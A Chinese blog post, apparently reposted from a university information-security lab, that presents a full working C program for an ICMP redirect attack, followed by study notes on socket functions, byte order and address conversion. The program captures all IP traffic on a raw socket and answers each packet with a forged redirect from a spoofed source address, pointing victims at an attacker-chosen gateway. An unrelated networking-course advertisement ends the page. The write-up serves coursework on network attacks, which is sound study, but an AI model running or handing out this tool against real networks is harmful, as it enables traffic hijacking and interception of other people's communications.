科软-信息安全实验1-ICMP重定向

目录

一 前言

文章不讲解理论知识哈,想学习理论知识的,认真听课?,也可以参考郭老师的讲义:信息安全课程 ustcsse308

对于Linux,我只是个半路闯进来的小白,做实验过程中经常会被Linux内核玩得怀疑人生。所以我觉得很有必要先阐明实验的环境,以免各位同学不小心掉坑里。当然,如果你就是想爬坑,咱也拦不住?

实验环境 / 工具:

你可能用得上的网站:

相关实验:

回到目录

二 Talk is cheap, show me the code

需要注意,下面代码的攻击目标不是对特定的IP,而是对所有捕获到的IP包都发送重定向包,如果你想修改过滤逻辑,修改pass_filter()方法就可以了。

代码 lcx-icmp.c 如下:

  1 #include<stdlib.h>
  2 #include<stdio.h>
  3 #include<string.h>
  4 #include<unistd.h>
  5 #include<sys/types.h>
  6 #include<sys/socket.h>
  7 #include<netinet/in.h>
  8 #include<netinet/ip_icmp.h>
  9 #include<linux/if_ether.h>
 10 #include<arpa/inet.h>
 11  
 12 #define BUFF_SIZE 2048
 13 #define SUCCESS   1
 14 #define FAILURE   -1
 15 
 16 const char *cmd_gateway = "-g";
 17 const char *cmd_srcip = "--src-ip";
 18 struct sockaddr_in arg_gateway;
 19 struct sockaddr_in arg_srcip;
 20 struct sockaddr_in target;
 21 int recvsockfd = -1;
 22 int sendsockfd = -1;
 23 int optval = 1; // setsockopt()函数中使用
 24 unsigned char recvbuff[BUFF_SIZE];
 25 unsigned char sendbuff[BUFF_SIZE];
 26 
 27 // 方法声明
 28 int load_args(const int argc, char **);
 29 void print_cmdprompt();
 30 int icmp_redirect();
 31 int pass_filter();
 32 unsigned short cksum(unsigned short *, int len);
 33 
 34 int main(int argc, char* argv[]) {
 35     if (load_args(argc, argv) < 0) {
 36         printf("command format error!\n");
 37         print_cmdprompt();
 38         return FAILURE;
 39     }
 40     recvsockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP));
 41     sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
 42     if (recvsockfd < 0 || sendsockfd < 0
 43         || setsockopt(sendsockfd, SOL_IP, IP_HDRINCL, &optval, sizeof(optval))) {
 44         perror("socket creation error");
 45         return FAILURE;
 46     }
 47     printf("lcx-icmp running...\n\n");
 48     while (1) {
 49         bzero(recvbuff, BUFF_SIZE);
 50         if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) > 0) {
 51             if (pass_filter())
 52                 icmp_redirect();
 53         } else {
 54             sleep(1);
 55         }
 56     }
 57     close(sendsockfd);
 58     close(recvsockfd);
 59     return SUCCESS;
 60 }
 61 
 62 /**
 63  * 命令:lcx-icmp -g 192.168.23.132 --src-ip 192.168.23.2
 64  * 
 65  * 载入参数:
 66  *   1) arg_gateway: 192.168.23.132
 67  *   2) arg_srcip: 192.168.23.2
 68  *
 69  * 参数标识:
 70  *   1) argv[1]: -g
 71  *   2) argv[3]: --src-ip
 72  *
 73  * @author southday
 74  * @date 2019.03.29
 75  */
 76 int load_args(const int argc, char *argv[]) {
 77     if (argc != 5
 78         || strcmp(argv[1], cmd_gateway) != 0
 79         || strcmp(argv[3], cmd_srcip) != 0
 80         || inet_aton(argv[2], &arg_gateway.sin_addr) == 0
 81         || inet_aton(argv[4], &arg_srcip.sin_addr) == 0)
 82         return FAILURE;
 83     return SUCCESS;
 84 }
 85 
 86 /**
 87  * 打印命令提示信息
 88  * @author southday
 89  * @date 2019.03.29
 90  */
 91 void print_cmdprompt() {
 92     printf("\nlcx-icmp -g [gateway_ip] --src-ip [from_ip]\n\n");
 93     printf("\t      -g [gateway_ip]      eg: -g 192.168.23.132\n");
 94     printf("\t--src-ip [from_ip]         eg: --src-ip 192.168.23.2\n");
 95 }
 96 
 97 /**
 98  * 发送ICMP重定向包
 99  * @author southday
100  * @date 2019.03.29
101  * @return 成功与否
102  */
103 int icmp_redirect() {
104     // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
105     struct ip *origin_ip = (struct ip *)(recvbuff + 14);
106     bzero(sendbuff, BUFF_SIZE);
107 
108     // 构造IP首部
109     struct ip *ip = (struct ip *)sendbuff;
110     ip->ip_hl = 5;
111     ip->ip_v = 4;
112     ip->ip_tos = 0;
113     // 20B(IP首部) + 8B(重定向ICMP首部) + ?B(原始IP首部) + 8B(原始IP数据报的前8个字节)
114     ip->ip_len = htons(20 + 8 + (origin_ip->ip_hl<<2) + 8);
115     ip->ip_id = origin_ip->ip_id;
116     ip->ip_off = 0;
117     ip->ip_ttl = 64;
118     ip->ip_p = 1; // ICMP:1
119     ip->ip_sum = 0;
120     ip->ip_src = arg_srcip.sin_addr;
121     ip->ip_dst = origin_ip->ip_src;
122     // 计算IP首部校验和,只涉及首部
123     ip->ip_sum = cksum((unsigned short *)ip, 20);
124 
125     // 构造ICMP首部
126     struct icmp *icmp = (struct icmp *)(sendbuff + 20);
127     icmp->icmp_type = 5; // REDIRECT TYPE = 5
128     icmp->icmp_code = 1; // 对特定主机路由的改变
129     icmp->icmp_cksum = 0;
130     icmp->icmp_hun.ih_gwaddr = arg_gateway.sin_addr;
131 
132     // 拷贝原始IP首部 + 原始IP数据报的前8个字节,拷贝到sendbuff的toaddr位置
133     unsigned char *toaddr = (unsigned char *)(sendbuff + 20 + 8);
134     // 从recvbuff中取: 原始IP首部(长度为origin_ip->ip_hl<<2) + 原始IP数据报的前8个字节
135     memcpy(toaddr, (unsigned char *)origin_ip, (origin_ip->ip_hl<<2) + 8);
136     // 计算ICMP校验和,涉及首部和数据部分,包括:8字节ICMP首部 + 原始IP首部 + 原始IP数据报的前8字节
137     icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + (origin_ip->ip_hl<<2) + 8);
138 
139     // 打印IP包字节数据,便于调试
140     printf("                                              %02x %02x", sendbuff[0], sendbuff[1]);
141     for (int i = 0, len = ntohs(ip->ip_len)-2; i < len; i++) {
142         if (i % 16 == 0)
143             printf("\n");
144         if (i % 8 == 0)
145             printf("  ");
146         printf("%02x ", sendbuff[i+2]);
147     }
148     printf("\n");
149 
150     target.sin_addr = ip->ip_dst;
151     int ret = sendto(sendsockfd, sendbuff, ntohs(ip->ip_len), 0, (struct sockaddr *)&target, sizeof(target));
152     if (ret < 0) {
153         perror("send error");
154     } else {
155         printf("send a icmp redirect package!\n");
156     }
157     return SUCCESS;
158 }
159 
160 /**
161  * 包过滤,过滤非TCP, UDP, ICMP的包
162  * @author southday
163  * @date 2019.03.29
164  * @return 是否通过过滤
165  */
166 int pass_filter() {
167     // 以太网帧首部14字节:6B(dest_mac) + 6B(src_mac) + 2B(type or length)
168     struct ip *ip = (struct ip *)(recvbuff + 14);
169     return (ip->ip_p == IPPROTO_TCP
170             || ip->ip_p == IPPROTO_UDP
171             || ip->ip_p == IPPROTO_ICMP);
172 }
173 
174 /**
175  * 计算校验和
176  *   1) IP:IP首部
177  *   2) ICMP:首部+数据
178  * @param *addr 开始计算校验和的入口地址
179  * @param len 计算校验和所使用的数据长度,单位Byte
180  * @return 16位的校验和
181  *
182  * @author southday
183  * @date 2019.03.29
184  */
185 unsigned short cksum(unsigned short *addr, int len) {
186     int sum = 0;
187     unsigned short res = 0;
188     /* len -= 2,因为 sizeof(unsigned short) = 2;
189      * sum += *addr++,每次偏移2Byte
190      */
191     for (; len > 1; sum += *addr++, len -= 2);
192     // 每次处理2Byte,可能会存在多余的1Byte
193     sum += len == 1 ? *addr : 0;
194     // sum:高16位 + 低16位,高16位中存在可能的进位
195     sum = (sum >> 16) + (sum & 0xffff);
196     // sum + sum的高16位,高16位中存在可能的进位
197     sum += (sum >> 16);
198     // 经过2次对高16位中可能存在的进位进行处理,即可确保sum高16位中再无进位
199     res = ~sum;
200     return res;
201 }
View Code

回到目录

三 效果演示

mice端执行ping命令,如下:

hacker端执行lcx-icmp程序,如下:

我把发送的IP包字节打印出来,方便结合Wireshark进行调试;

回到目录

四 遇到的问题&解决

下面的内容是我在做实验过程中遇到的问题、疑问、思考,对不少知识点也只是浅尝辄止,仅供参考?

1 ‘ETH_P_IP’ was not declared in this scope

添加头文件:#include<linux/if_ether.h>
该头文件位于:/usr/include/linux/if_ether.h

2 recv()、recvfrom() | send()、sendto()函数的使用

sendto(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrServ,sizeof(SOCKADDR));  // UDP
send(sd, buffer, BUFSIZ, 0);  // TCP
recvfrom(sd,buffer,BUFSIZ,0,(SOCKADDR*)&addrClient,sizeof(SOCKADDR));  // UDP
recv(sd, buffer, BUFSIZ, 0);  // TCP

recvfrom 可同时应用于面向连接和无连接的套接字;recv 一般只用在面向连接的套接字,几乎等同于recvfrom,只要将recvfrom的第5个参数设置为NULL;
recvfrom 多了两个参数,可以用来接收对端的地址信息,这个对于udp这种无连接的,可以很方便地进行回复。如果在udp当中也使用recv,那么就不知道该回复给谁了,如果你不需要回复的话,也是可以使用的。对于tcp是已经知道对端的,就没必要每次接收还多收一个地址,没必要取地址信息,在accept中就可以取得。

3 setsocketopt()函数

功能描述:获取或者设置与某个套接字关联的选项。选项可能存在于多层协议中,它们总会出现在最上面的套接字层。当操作套接字选项时,选项位于的层和选项的名称必须给出。为了操作套接字层的选项,应该将层的值指定为SOL_SOCKET。为了操作其它层的选项,控制选项的合适协议号必须给出。例如,为了表示一个选项由TCP协议解析,层应该设定为协议号TCP。
 
int getsockopt(int sock, int level, int optname, void *optval, socklen_t *optlen);
int setsockopt(int sock, int level, int optname, const void *optval, socklen_t optlen);
  • sock:将要被设置或者获取选项的套接字;
  • level:选项所在的协议层;
  • optname:需要访问的选项名;
  • optval:
    • 对于getsockopt(),指向返回选项值的缓冲;
    • 对于setsockopt(),指向包含新选项值的缓冲;
  • optlen:
    • 对于getsockopt(),作为入口参数时,选项值的最大长度。作为出口参数时,选项值的实际长度;
    • 对于setsockopt(),现选项的长度;

4 unsigned int ip_hl:4,这里的:4是什么意思?

位域,表示ip_hl只取4bit;位段(bit-field)是以位为单位来定义结构体(或联合体)中的成员变量所占的空间。含有位段的结构体(联合体)称为位段结构。采用位段结构既能够节省空间,又方便于操作。

5 为什么要使用htons(),ntohl(),ntohs(),htons()函数?

之所以需要这些函数是因为计算机数据表示存在两种字节顺序:NBO与HBO;

参考: socket编程为什么需要htons(), ntohl(), ntohs(),htons() 函数

htonl()--"Host to Network Long"
ntohl()--"Network to Host Long"
htons()--"Host to Network Short"
ntohs()--"Network to Host Short"

数字所占位数小于或等于一个字节(8 bits)时,不要用htons转换。这是因为对于主机来说,大小尾端的最小单位为字节(byte)。
网络字节顺序(NBO,Network Byte Order):按从高到低的顺序存储,在网络上使用统一的网络字节顺序,可以避免兼容性问题。
主机字节顺序(HBO,Host Byte Order):不同的机器HBO不相同,与CPU设计有关,数据的顺序是由cpu决定的,而与操作系统无关。
如 Intelx86结构下,short型数0x1234表示为34 12,int型数0x12345678表示为78 56 34 12;如IBM power PC结构下,short型数0x1234表示为12 34,int型数0x12345678表示为12 34 56 78;

6 关于大端法、小端法

例如有个变量x为int型,存放在地址0x100的地方,其16进制值为:0x12345678,地址范围是0x100~0x103;

大端法存储:

小端法存储:

最高有效位( most significant bit,MSB)指的是一个n位二进制数字中的n-1位,具有最高的权值2^(n-1)。最低有效位和最高有效位是相对应的概念。在大端序中,msb即指最左端的位。
高、低字节:按平时书写习惯,从左到右是高位到低位的顺序;
高、低地址:内存地址可以对应十六进制的数值,值大的为高地址,否则为低地址;


字节顺序是指占内存多于一个字节类型的数据在内存中的存放顺序,通常有小端、大端两种字节顺序:

  • 大端字节序:是高字节数据存放在低地址处,低字节数据存放在高地址处;
  • 小端字节序:指低字节数据存放在内存低地址处,高字节数据存放在内存高地址处;

7 inet_aton()是什么函数?检测ip地址正确性?inet_ntoa()函数呢?

参考:

需要包含头文件:

1 #include<sys/socket.h>
2 #include<netinet/in.h>
3 #include<arpa/inet.h>
int inet_aton(const char *string, struct in_addr *addr)
输入参数:
  • string 包含ASCII码表示的IP地址;
  • *addr 用来保存转换后新的IP地址结构(网络字节序的二进制);

返回值:

  • 成功则返回非0值,返回1;
  • 失败则返回0值;

char *inet_ntoa(struct in_addr in);

该函数将一个网络字节顺序的IP地址转换为它所对应的点分十进制串;
输入参数:in 网络字节序IP地址;
返回值:返回点分十进制字符串的指针;

8 为什么使用inet_pton()、inet_ntop()函数?它们与inet_aton()、inet_ntoa()有什么区别?

#include <arpa/inet.h>
int inet_pton(int family, const char * strptr, void * addrptr);
返回:1(成功),0(输入不是有效的表达格式 ), -1(出错);
 
const char * inet_ntop(int family, const void * addrptr, char * strptr, size_t len);
其中 len =sizeof(* strptr);
返回: 指向结果的指针(成功), NULL(出错)
 
很明显,pton 对应 aton,ntop 对应 ntoa,虽然实现效果相同,但是它们的参数不同,根据 /usr/include/netinet/ip.h 中关于结构体iphdr和ip的定义即可看出区别:
  • 如果你使用struct ip,那么使用inet_aton()、inet_ntoa();
  • 如果你使用struct iphdr,那么使用inet_pton()、inet_ntop();
 1 struct iphdr
 2   {
 3 #if __BYTE_ORDER == __LITTLE_ENDIAN
 4     unsigned int ihl:4;
 5     unsigned int version:4;
 6 #elif __BYTE_ORDER == __BIG_ENDIAN
 7     unsigned int version:4;
 8     unsigned int ihl:4;
 9 #else
10 # error "Please fix <bits/endian.h>"
11 #endif
12     uint8_t tos;
13     uint16_t tot_len;
14     uint16_t id;
15     uint16_t frag_off;
16     uint8_t ttl;
17     uint8_t protocol;
18     uint16_t check;
19     uint32_t saddr;
20     uint32_t daddr;
21     /*The options start here. */
22   };
23 
24 struct ip
25   {
26 #if __BYTE_ORDER == __LITTLE_ENDIAN
27     unsigned int ip_hl:4;       /* header length */
28     unsigned int ip_v:4;        /* version */
29 #endif
30 #if __BYTE_ORDER == __BIG_ENDIAN
31     unsigned int ip_v:4;        /* version */
32     unsigned int ip_hl:4;       /* header length */
33 #endif
34     uint8_t ip_tos;         /* type of service */
35     unsigned short ip_len;      /* total length */
36     unsigned short ip_id;       /* identification */
37     unsigned short ip_off;      /* fragment offset field */
38 #define IP_RF 0x8000            /* reserved fragment flag */
39 #define IP_DF 0x4000            /* dont fragment flag */
40 #define IP_MF 0x2000            /* more fragments flag */
41 #define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */
42     uint8_t ip_ttl;         /* time to live */
43     uint8_t ip_p;           /* protocol */
44     unsigned short ip_sum;      /* checksum */
45     struct in_addr ip_src, ip_dst;  /* source and dest address */
46   };
View Code

回到目录

转载请说明出处!? have a good time ~

转载于:https://www.cnblogs.com/southday/p/11005766.html

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
1、课程简介 本课程为华为HCNP进阶级资深网络工程师培训课程,学习课程前请先完成CCNA或HCNA课程学习,或有NA同等水平。本课程为本人在机构授课期间现场录制,视频清晰无水印,语音清晰,授课风格有趣。课程主要介绍思科主流的交换技术与路由技术,学习完本课程后你将具有相应的技能水平,能够对中大型企业网络或校园网络网络架构有更加深入的了解以及各技术所应用场景,清楚技术特点,还能够对中大型企业网或校园网等网络进行设计,维护,故障处理等。在课程最后有综合实验,如果在学习完成后可无需查看资料或课件命令即能完成80%以上的实验需求及功能,则代表你已具有一定的技术水平,可认为你是一名资深级的网络工程师。2、讲师简介 ·         钟海林 | 老钟 | HELY ·         7年IT从业经验,4年网络及安全技术授课经验·         曾负责广州移动DCN网络改造及设计,深圳三诺电子网络改造·         擅长网络技术与安全技术,精通各大厂商网络产品与安全产品·         授课风格风骚有趣,擅长从实践中总结理论知识,不讲废话,直奔主题3、课程目标 掌握思科路由交换技术,包括交换模块的HSRP,MSTP,ARP检测,DHCP检测等技术以及路由技术模块的OSPF,EIGRP,BGP,ISIS协议等。4、课程对象 具有CCNA、HCNA、CCNA认证或具有同等技术水平的人员及其他同级别认证等人员5、课程特色 课程内容精准,知识点精准,不废话,直接干!老师讲课语音清晰,且视频清晰无水印。课程内容没有晦涩难懂的名词及数学公式或逻辑概念等,完全适合零基础,且涉及的知识点通过现实中的一些实例做对比,简化问题。6、课程内容 ·         交换技术:MSTP,HSRP,VRRP,DHCP检测,ARP检测·         路由技术:RIP,OSPF,ISIS,BGP ·         综合实验 7、课程预览 8、了解更多 ·         思科CCNP高级交换课程 https://edu.csdn.net/course/detail/24001·         思科CCNP高级路由课程 https://edu.csdn.net/course/detail/24009·         思科IPS防御系统视频课程 https://edu.csdn.net/course/detail/20392·         思科ASA防火墙视频课程 https://edu.csdn.net/course/detail/20388·         华为防火墙视频课程 https://edu.csdn.net/course/detail/203919、注意事项 ·         本课程仅用于自学,不得用于商业用途·         课程内所讲解技术只能用于模拟环境,若使用在其他环境造成的任何问题本人不负责

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值